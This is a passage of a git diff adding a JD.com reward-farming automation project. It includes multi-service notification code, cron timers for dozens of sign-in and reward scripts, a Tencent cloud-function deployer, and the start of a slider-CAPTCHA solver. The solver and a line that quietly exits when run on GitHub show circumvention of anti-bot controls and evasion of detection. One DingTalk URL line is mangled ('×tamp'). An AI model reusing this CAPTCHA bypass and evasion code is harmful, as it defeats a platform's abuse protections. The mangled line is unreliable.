console.log('server酱发送通知消息成功🎉\n') + } else if (data.errno === 1024) { + // 一分钟内发送相同的内容会触发 + console.log(`server酱发送通知消息异常: ${data.errmsg}\n`) + } else { + console.log(`server酱发送通知消息异常\n${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, time) + } else { + // console.log('\n\n您未提供自建server酱的SCKEY,取消推送自建server酱消息通知🚫\n'); + resolve() + } + }) +} + +function BarkNotify(text, desp, params = {}) { + return new Promise(resolve => { + if (BARK_PUSH) { + const options = { + url: `${BARK_PUSH}/${encodeURIComponent(text)}/${encodeURIComponent(desp)}?sound=${BARK_SOUND}&group=${BARK_GROUP}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded' + }, + timeout + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log('Bark APP发送通知调用API失败!!\n') + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log('Bark APP发送通知消息成功🎉\n') + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + } else { + // console.log('您未提供Bark的APP推送BARK_PUSH,取消Bark推送消息通知🚫\n'); + resolve() + } + }) +} + +function tgBotNotify(text, desp) { + return new Promise(resolve => { + if (TG_BOT_TOKEN && TG_USER_ID) { + const options = { + url: `https://${TG_API_HOST}/bot${TG_BOT_TOKEN}/sendMessage`, + body: `chat_id=${TG_USER_ID}&text=${text}\n\n${desp}&disable_web_page_preview=true`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded' + }, + timeout + } + if (TG_PROXY_HOST && TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: TG_PROXY_HOST, + port: TG_PROXY_PORT * 1, + proxyAuth: TG_PROXY_AUTH + } + }) + } + Object.assign(options, {agent}) + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('telegram发送通知消息失败!!\n') + console.log(err); + } else { + data = JSON.parse(data); + if (data.ok) { + console.log('Telegram发送通知消息成功🎉。\n') + } else if (data.error_code === 400) { + console.log('请主动给bot发送一条消息并检查接收用户ID是否正确。\n') + } else if (data.error_code === 401) { + console.log('Telegram bot token 填写错误。\n') + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else { + // console.log('您未提供telegram机器人推送所需的TG_BOT_TOKEN和TG_USER_ID,取消telegram推送消息通知🚫\n'); + resolve() + } + }) +} + +function ddBotNotify(text, desp) { + return new Promise(resolve => { + const options = { + url: `https://oapi.dingtalk.com/robot/send?access_token=${DD_BOT_TOKEN}`, + json: { + "msgtype": "text", + "text": { + "content": ` ${text}\n\n${desp}` + } + }, + headers: { + 'Content-Type': 'application/json' + }, + timeout + } + if (DD_BOT_TOKEN && DD_BOT_SECRET) { + const crypto = require('crypto'); + const dateNow = Date.now(); + const hmac = crypto.createHmac('sha256', DD_BOT_SECRET); + hmac.update(`${dateNow}\n${DD_BOT_SECRET}`); + const result = encodeURIComponent(hmac.digest('base64')); + options.url = `${options.url}×tamp=${dateNow}&sign=${result}`; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n') + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息成功🎉。\n') + } else { + console.log(`${data.errmsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else if (DD_BOT_TOKEN) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n') + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息完成。\n') + } else { + console.log(`${data.errmsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else { + // console.log('您未提供钉钉机器人推送所需的DD_BOT_TOKEN或者DD_BOT_SECRET,取消钉钉推送消息通知🚫\n'); + resolve() + } + }) +} + +function qywxBotNotify(text, desp) { + return new Promise(resolve => { + const options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout + }; + if (QYWX_KEY) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('企业微信发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('企业微信发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + } else { + // console.log('您未提供企业微信机器人推送所需的QYWX_KEY,取消企业微信推送消息通知🚫\n'); + resolve(); + } + }); +} + +function ChangeUserId(desp) { + const QYWX_AM_AY = QYWX_AM.split(','); + if (QYWX_AM_AY[2]) { + const userIdTmp = QYWX_AM_AY[2].split("|"); + let userId = ""; + for (let i = 0; i < userIdTmp.length; i++) { + const count = "账号" + (i + 1); + const count2 = "签到号 " + (i + 1); + if (desp.match(count2)) { + userId = userIdTmp[i]; + } + } + if (!userId) userId = QYWX_AM_AY[2]; + return userId; + } else { + return "@all"; + } +} + +function qywxamNotify(text, desp) { + return new Promise(resolve => { + if (QYWX_AM) { + const QYWX_AM_AY = QYWX_AM.split(','); + const options_accesstoken = { + url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`, + json: { + corpid: `${QYWX_AM_AY[0]}`, + corpsecret: `${QYWX_AM_AY[1]}`, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout + }; + $.post(options_accesstoken, (err, resp, data) => { + html = desp.replace(/\n/g, "
") + var json = JSON.parse(data); + accesstoken = json.access_token; + let options; + + switch (QYWX_AM_AY[4]) { + case '0': + options = { + msgtype: 'textcard', + textcard: { + title: `${text}`, + description: `${desp}`, + url: '', + btntxt: '更多' + } + } + break; + + case '1': + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}` + } + } + break; + + default: + options = { + msgtype: 'mpnews', + mpnews: { + articles: [ + { + title: `${text}`, + thumb_media_id: `${QYWX_AM_AY[4]}`, + author: `智能助手`, + content_source_url: ``, + content: `${html}`, + digest: `${desp}` + } + ] + } + } + } + ; + if (!QYWX_AM_AY[4]) { + //如不提供第四个参数,则默认进行文本消息类型推送 + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}` + } + } + } + options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accesstoken}`, + json: { + touser: `${ChangeUserId(desp)}`, + agentid: `${QYWX_AM_AY[3]}`, + safe: '0', + ...options + }, + headers: { + 'Content-Type': 'application/json', + }, + } + + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); + } else { + // console.log('您未提供企业微信应用消息推送所需的QYWX_AM,取消企业微信应用消息推送消息通知🚫\n'); + resolve(); + } + }); +} + +function iGotNotify(text, desp, params = {}) { + return new Promise(resolve => { + if (IGOT_PUSH_KEY) { + // 校验传入的IGOT_PUSH_KEY是否有效 + const IGOT_PUSH_KEY_REGX = new RegExp("^[a-zA-Z0-9]{24}$") + if (!IGOT_PUSH_KEY_REGX.test(IGOT_PUSH_KEY)) { + console.log('您所提供的IGOT_PUSH_KEY无效\n') + resolve() + return + } + const options = { + url: `https://push.hellyw.com/${IGOT_PUSH_KEY.toLowerCase()}`, + body: `title=${text}&content=${desp}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded' + }, + timeout + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n') + console.log(err); + } else { + if (typeof data === 'string') data = JSON.parse(data); + if (data.ret === 0) { + console.log('iGot发送通知消息成功🎉\n') + } else { + console.log(`iGot发送通知消息失败:${data.errMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else { + // console.log('您未提供iGot的推送IGOT_PUSH_KEY,取消iGot推送消息通知🚫\n'); + resolve() + } + }) +} + +function pushPlusNotify(text, desp) { + return new Promise(resolve => { + if (PUSH_PLUS_TOKEN) { + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER}` + }; + const options = { + url: `http://www.pushplus.plus/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json' + }, + timeout + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败!!\n`) + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息完成。\n`) + } else { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败:${data.msg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else { + // console.log('您未提供push+推送所需的PUSH_PLUS_TOKEN,取消push+推送消息通知🚫\n'); + resolve() + } + }) +} + +function wxpusher(title, content, uid) { + return new Promise(resolve => { + $.post({ + url: 'http://wxpusher.zjiecode.com/api/send/message', + body: JSON.stringify({ + "appToken": appToken, + "content": `${title}\n\n${content}`, + "summary": title,//消息摘要,显示在微信聊天页面或者模版消息卡片上,限制长度100,可以不传,不传默认截取content前面的内容。 + "contentType": 1,//内容类型 1表示文字 2表示html(只发送body标签内部的数据即可,不包括body标签) 3表示markdown + "topicIds": [ //发送目标的topicId,是一个数组!!!,也就是群发,使用uids单发的时候, 可以不传。 + ], + "uids": [uid],//发送目标的UID,是一个数组。注意uids和topicIds可以同时填写,也可以只填写一个。 + "url": "" //原文链接,可选参数 + }), + headers: { + 'Content-Type': 'application/json' + } + }, (err, resp, data) => { + try { + if (!err) { + data = $.toObj(data) + if (data.code === 1000) { + console.log(`wxpusher: ${uid} 发送成功`) + } else { + console.log(`wxpusher: ${uid} 发送失败\n${data}`) + } + } else { + console.log('wxpusher Error1:', err) + } + } catch (e) { + console.log('wxpusher Error2:', e) + } finally { + resolve() + } + }) + }) +} + +module.exports = { + sendNotify, + BARK_PUSH +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: {script_text: t, mock_type: "cron", timeout: r}, + headers: {"X-Key": o, Accept: "*/*"} + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/serverless.yml b/serverless.yml new file mode 100644 index 0000000000..9bdc70ff21 --- /dev/null +++ b/serverless.yml @@ -0,0 +1,81 @@ +# serverless.yml + +#组件信息 +component: scf # (必选) 组件名称,在该实例中为scf +name: jdscript # (必选) 组件实例名称。 + +#组件参数配置 +inputs: + name: scf-${name} # 云函数名称,默认为 ${name}-${stage}-${app} + enableRoleAuth: true # 默认会尝试创建 SCF_QcsRole 角色,如果不需要配置成 false 即可 + src: ./ + handler: index.main_handler #入口 + runtime: Nodejs12.16 # 运行环境 默认 Nodejs10.15 + region: ap-hongkong # 函数所在区域 + description: This is a function in ${app} application. + memorySize: 128 # 内存大小,单位MB + timeout: 900 # 超时时间,单位秒 + events: #触发器 + - timer: #签到 + parameters: + name: beansign + cronExpression: "0 0 0 * * * *" + enable: true + argument: jd_bean_sign + - timer: #东东超市兑换奖品 #摇京豆 #京东汽车兑换 + parameters: + name: blueCoin_clublottery_carexchange + cronExpression: "0 0 0 * * * *" + enable: true + argument: jd_blueCoin&jd_club_lottery&jd_car_exchange + - timer: #东东农场 #东东萌宠 #口袋书店 #京喜农场 #京东极速版签到 #京东家庭号 #金榜创造营 #明星小店 + parameters: + name: fruit_pet_bookshop_jxnc_speedsign_family_goldcreator_starshop + cronExpression: "0 5 6-18/6,8 * * * *" + enable: true + argument: jd_fruit&jd_pet&jd_bookshop&jd_jxnc&jd_speed_sign&jd_family&jd_gold_creator&jd_star_shop + - timer: #宠汪汪 #摇钱树 #京东种豆得豆 #京喜工厂 #东东工厂 #电竞经理 + parameters: + name: joy_moneyTree_plantBean_dreamFactory_jdfactory_EsportsManager + cronExpression: "0 3 */1 * * * *" + enable: true + argument: jd_joy_new&jd_moneyTree&jd_plantBean&jd_dreamFactory&jd_jdfactory&jd_EsportsManager + - timer: #宠汪汪积分兑换京豆 #签到领现金 #点点券 #东东小窝 #京喜财富岛 #京东直播 #5G超级盲盒 + parameters: + name: joyreward_cash_necklace_smallhome_cfd_live_mohe + cronExpression: "0 0 0-16/8,20 * * * *" + enable: true + argument: jd_joy_reward_new&jd_cash&jd_necklace_new&jd_small_home&jd_cfd&jd_live&jd_mohe + - timer: #京东全民开红包 #进店领豆 #取关京东店铺商品 #京东汽车 #京东秒秒币 + parameters: + name: redPacket_shop_unsubscribe_car_ms + cronExpression: "0 10 0 * * * *" + enable: true + argument: jd_redPacket&jd_shop&jd_unsubscribe&jd_car&jd_ms + - timer: #天天提鹅 #京喜牧场 + parameters: + name: dailyegg_jxmc + cronExpression: "0 8 */3 * * * *" + enable: true + argument: jd_daily_egg&jd_jxmc + - timer: #东东超市 #十元街 #翻翻乐 + parameters: + name: superMarket_syj_bigwinner + cronExpression: "0 15 */1 * * * *" + enable: true + argument: jd_superMarket&jd_syj&jd_big_winner + - timer: #京豆变动通知 #疯狂的joy #监控crazyJoy分红 #京东排行榜 #领京豆额外奖励 #京东保价 #闪购盲盒 + parameters: + name: beanchange_crazyjoy_crazyjoybonus_rankingList_beanhome_price_sgmh + cronExpression: "0 30 7 * * * *" + enable: true + argument: jd_bean_change&jd_crazy_joy&jd_crazy_joy_bonus&jd_rankingList&jd_bean_home&jd_price&jd_sgmh + - timer: #金融养猪 #京东快递 #京东赚赚 #京东极速版红包 #领金贴 + parameters: + name: pigPet_kd_jdzz_speedredpocke_jintie + cronExpression: "0 3 1 * * * *" + enable: true + argument: jd_pigPet&jd_kd&jd_jdzz&jd_speed_redpocke&jd_jin_tie + environment: # 环境变量 + variables: # 环境变量对象 + AAA: BBB # 不要删除,用来格式化对齐追加的变量的 diff --git a/tencentscf.js b/tencentscf.js new file mode 100644 index 0000000000..32a3fb71c7 --- /dev/null +++ b/tencentscf.js @@ -0,0 +1,189 @@ +// Depends on tencentcloud-sdk-nodejs version 4.0.3 or higher +const tencentcloud = require("tencentcloud-sdk-nodejs"); +const fs = require("fs"); +const yaml = require("js-yaml"); + +process.env.action = 0; +const ScfClient = tencentcloud.scf.v20180416.Client; +const clientConfig = { + credential: { + secretId: process.env.TENCENT_SECRET_ID, + secretKey: process.env.TENCENT_SECRET_KEY + }, + region: process.env.TENCENT_REGION, // 区域参考,https://cloud.tencent.com/document/product/583/17299 + profile: { + httpProfile: { + endpoint: "scf.tencentcloudapi.com" + } + } +}; +const sleep = ms => new Promise(res => setTimeout(res, ms)); + +!(async () => { + const client = new ScfClient(clientConfig); + let params; + await client.ListFunctions({}).then( + async data => { + let func = data.Functions.filter( + vo => vo.FunctionName === process.env.TENCENT_FUNCTION_NAME + ); + const file_buffer = fs.readFileSync("./myfile.zip"); + const contents_in_base64 = file_buffer.toString("base64"); + if (func.length) { + console.log(`更新函数`); + // 更新代码,删除后重建 + params = { + FunctionName: process.env.TENCENT_FUNCTION_NAME + }; + await client.DeleteFunction(params).then( + data => { + console.log(data); + }, + err => { + console.error("error", err); + process.env.action++; + } + ); + await sleep(1000 * 50); // 等待50秒 + } + + console.log(`创建函数`); + let inputYML = ".github/workflows/deploy_tencent_scf.yml"; + let obj = yaml.load(fs.readFileSync(inputYML, { encoding: "utf-8" })); + params = { + Code: { + ZipFile: contents_in_base64 + }, + FunctionName: process.env.TENCENT_FUNCTION_NAME, + Runtime: "Nodejs12.16", + Timeout: 900, + Environment: { + Variables: [] + } + }; + let vars = []; + for (let key in obj.jobs.build.env) { + if (process.env[key].length > 0) { + vars.push(key); + params.Environment.Variables.push({ + Key: key, + Value: process.env[key] + }); + } + } + console.log(`您一共填写了${vars.length}个环境变量`, vars); + await client.CreateFunction(params).then( + data => { + console.log(data); + }, + err => { + console.error("error", err); + process.env.action++; + } + ); + await sleep(1000 * 50); // 等待50秒 + }, + err => { + console.error("error", err); + process.env.action++; + } + ); + + /* console.log(`更新环境变量`); + // 更新环境变量 + let inputYML = ".github/workflows/deploy_tencent_scf.yml"; + let obj = yaml.load(fs.readFileSync(inputYML, { encoding: "utf-8" })); + let vars = []; + for (let key in obj.jobs.build.steps[3].env) { + if (key !== "PATH" && process.env.hasOwnProperty(key)) + vars.push({ + Key: key, + Value: process.env[key] + }); + } + console.log(`您一共填写了${vars.length}个环境变量`); + params = { + FunctionName: process.env.TENCENT_FUNCTION_NAME, + Environment: { + Variables: vars + } + }; + await client.UpdateFunctionConfiguration(params).then( + data => { + console.log(data); + }, + err => { + console.error("error", err); + } + ); + let triggers = []; + params = { + FunctionName: process.env.TENCENT_FUNCTION_NAME + }; + await client.ListTriggers(params).then( + data => { + console.log(data); + triggers = data.Triggers; + }, + err => { + console.error("error", err); + } + ); + for (let vo of triggers) { + params = { + FunctionName: process.env.TENCENT_FUNCTION_NAME, + Type: "timer", + TriggerName: vo.TriggerName + }; + await client.DeleteTrigger(params).then( + data => { + console.log(data); + }, + err => { + console.error("error", err); + } + ); + } */ + + // 更新触发器 + console.log(`去更新触发器`); + let inputYML = "serverless.yml"; + let obj = yaml.load(fs.readFileSync(inputYML, { encoding: "utf-8" })); + for (let vo of obj.inputs.events) { + let param = { + FunctionName: process.env.TENCENT_FUNCTION_NAME, + TriggerName: vo.timer.parameters.name, + Type: "timer", + TriggerDesc: vo.timer.parameters.cronExpression, + CustomArgument: vo.timer.parameters.argument, + Enable: "OPEN" + }; + await client.CreateTrigger(param).then( + data => { + console.log(data); + }, + err => { + console.error("error", err); + process.env.action++; + } + ); + } +})() + .catch(e => console.log(e)) + .finally(async () => { + // 当环境为GitHub action时创建action.js文件判断部署是否进行失败通知 + if (process.env.GITHUB_ACTIONS == "true") { + fs.writeFile( + "action.js", + `var action = ` + process.env.action + `;action > 0 ? require("./sendNotify").sendNotify("云函数部署异常!请重试","点击通知,登入后查看详情",{ url: process.env.GITHUB_SERVER_URL + "/" + process.env.GITHUB_REPOSITORY + "/actions/runs/" + process.env.GITHUB_RUN_ID + "?check_suite_focus=true" }): ""`, + "utf8", + function (error) { + if (error) { + console.log(error); + return false; + } + console.log("写入action.js成功"); + } + ); + } + }); diff --git a/tsconfig.json b/tsconfig.json new file mode 100644 index 0000000000..56ea763e6f --- /dev/null +++ b/tsconfig.json @@ -0,0 +1,5 @@ +{ + "compilerOptions": { + "downlevelIteration": true + } +} \ No newline at end of file diff --git a/utils/JDJRValidator_Pure.js b/utils/JDJRValidator_Pure.js new file mode 100644 index 0000000000..1412c1efa9 --- /dev/null +++ b/utils/JDJRValidator_Pure.js @@ -0,0 +1,531 @@ +const https = require('https'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +let UA = require('../USER_AGENTS.js').USER_AGENT; +const validatorCount = process.env.JDJR_validator_Count ? process.env.JDJR_validator_Count : 100 + + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - 